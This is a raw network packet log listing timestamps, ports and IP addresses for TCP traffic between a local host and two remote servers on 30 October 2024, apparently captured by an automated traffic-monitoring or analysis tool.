Oct 30, 2024 05:25:32.069036007 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.069036961 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.069063902 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.069082975 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.069534063 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.069546938 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.069559097 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.069569111 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.069574118 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.069586039 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.069597006 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.069603920 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.069617987 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.069629908 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.070166111 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.070174932 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.070205927 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.070214987 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.115062952 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.115078926 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.115091085 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.115123034 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.115144968 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.118844032 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.118856907 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.118868113 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.118879080 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.118907928 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.118927002 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.154031038 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.154041052 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.154187918 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.154494047 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.154506922 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.154526949 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.154536963 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.154541969 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.154572964 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.154598951 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.167197943 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:32.167292118 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:32.167365074 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:32.185633898 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.185646057 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.185656071 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.185698032 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.185730934 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.185779095 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.185789108 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.185798883 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.185818911 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.185833931 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.186206102 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.186217070 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.186228037 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.186249971 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.186280966 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.186580896 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.186592102 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.186600924 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.186620951 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.186647892 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.203640938 CET	50004	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:32.203710079 CET	443	50004	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:32.217273951 CET	50007	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:32.217303991 CET	443	50007	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:32.217381954 CET	50007	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:32.218229055 CET	50007	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:32.218245029 CET	443	50007	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:32.227854967 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.227866888 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.227875948 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.227916956 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.227916956 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.231733084 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.231744051 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.231758118 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.231776953 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.231800079 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.235595942 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.235608101 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.235619068 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.235641003 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.235663891 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.271753073 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.271801949 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.271805048 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.271826982 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.271837950 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.271842003 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.271848917 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.271857977 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.271857977 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.271883965 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.271913052 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.302449942 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.302463055 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.302473068 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.302532911 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.302534103 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.302551031 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.302561998 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.302596092 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.302750111 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.302763939 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.302795887 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.302822113 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.302990913 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.303002119 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.303011894 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.303035975 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.303075075 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.303361893 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.303376913 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.303390026 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.303406000 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.303427935 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.345010042 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.345021963 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.345037937 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.345072985 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.345120907 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.348612070 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.348623991 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.348639965 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.348655939 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.348675966 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.348689079 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.352556944 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.352585077 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.352605104 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.352618933 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.352621078 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.352629900 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.352643013 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.352643967 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.352664948 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.352694035 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.387902021 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.387934923 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.387947083 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.387959957 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.387963057 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.388004065 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.388005018 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.419186115 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.419197083 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.419241905 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.419390917 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.419400930 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.419440985 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.419478893 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.419492006 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.419504881 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.419531107 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.419560909 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.419859886 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.419876099 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.419919014 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.420075893 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.420088053 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.420099020 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.420135021 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.420156956 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.420156956 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.420202971 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.461685896 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.461698055 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.461708069 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.461766958 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.461822987 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.465441942 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.465452909 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.465462923 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.465487957 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.465527058 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.469257116 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.469268084 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.469279051 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.469317913 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.469343901 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.469455004 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.469466925 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.469479084 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.469511032 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.469542027 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.469836950 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.469847918 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.469863892 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.469891071 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.469923019 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.504776001 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.504787922 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.504800081 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.504842997 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.504878998 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.536215067 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.536241055 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.536254883 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.536267042 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.536278963 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.536282063 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.536303997 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.536336899 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.536514044 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.536525965 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.536536932 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.536556005 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.536586046 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.536879063 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.536890984 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.536900997 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.536921024 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.536951065 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.578618050 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.578638077 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.578649998 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.578747034 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.578778982 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.582513094 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.582530022 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.582545996 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.582561970 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.582583904 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.586133957 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.586148024 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.586160898 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.586179018 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.586205959 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.586349010 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.586359978 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.586371899 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.586384058 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.586391926 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.586396933 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.586421967 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.586466074 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.587068081 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.587079048 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.587120056 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.587225914 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.587244987 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.587270021 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.587292910 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.621490002 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.621503115 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.621512890 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.621553898 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.621587992 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.653095961 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.653107882 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.653119087 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.653130054 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.653219938 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.653475046 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.653485060 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.653500080 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.653511047 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.653564930 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.653723001 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.653734922 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.653745890 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.653773069 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.653791904 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.695391893 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.695403099 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.695409060 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.695473909 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.708832026 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.708842993 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.708853960 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.708865881 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.708900928 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.708909035 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.708944082 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.708961010 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.709145069 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.709156036 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.709167957 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.709192991 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.709203959 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.709228992 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.709239960 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.709271908 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.709291935 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.710021973 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.710031986 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.710042953 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.710052967 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.710062027 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.710062981 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.710081100 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.710113049 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.738358974 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.738372087 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.738383055 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.738409042 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.738445044 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.769752026 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.769785881 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.769799948 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.769814014 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.769854069 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.769855022 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.769855022 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.769855022 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.769964933 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.769975901 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.769988060 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.770016909 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.770047903 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.770302057 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.770344973 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.770381927 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.770421028 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.770520926 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.770530939 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.770561934 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.812289000 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.812303066 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.812319994 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.812371016 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.812410116 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.825542927 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.825555086 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.825566053 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.825596094 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.825645924 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.825675011 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.825706005 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.825716972 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.825732946 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.825767040 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.825767994 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.826102972 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.826143980 CET	50006	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:32.826157093 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.826173067 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.826184034 CET	80	50006	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:32.826196909 CET	50006	80	192.168.2.6	185.215.113.16
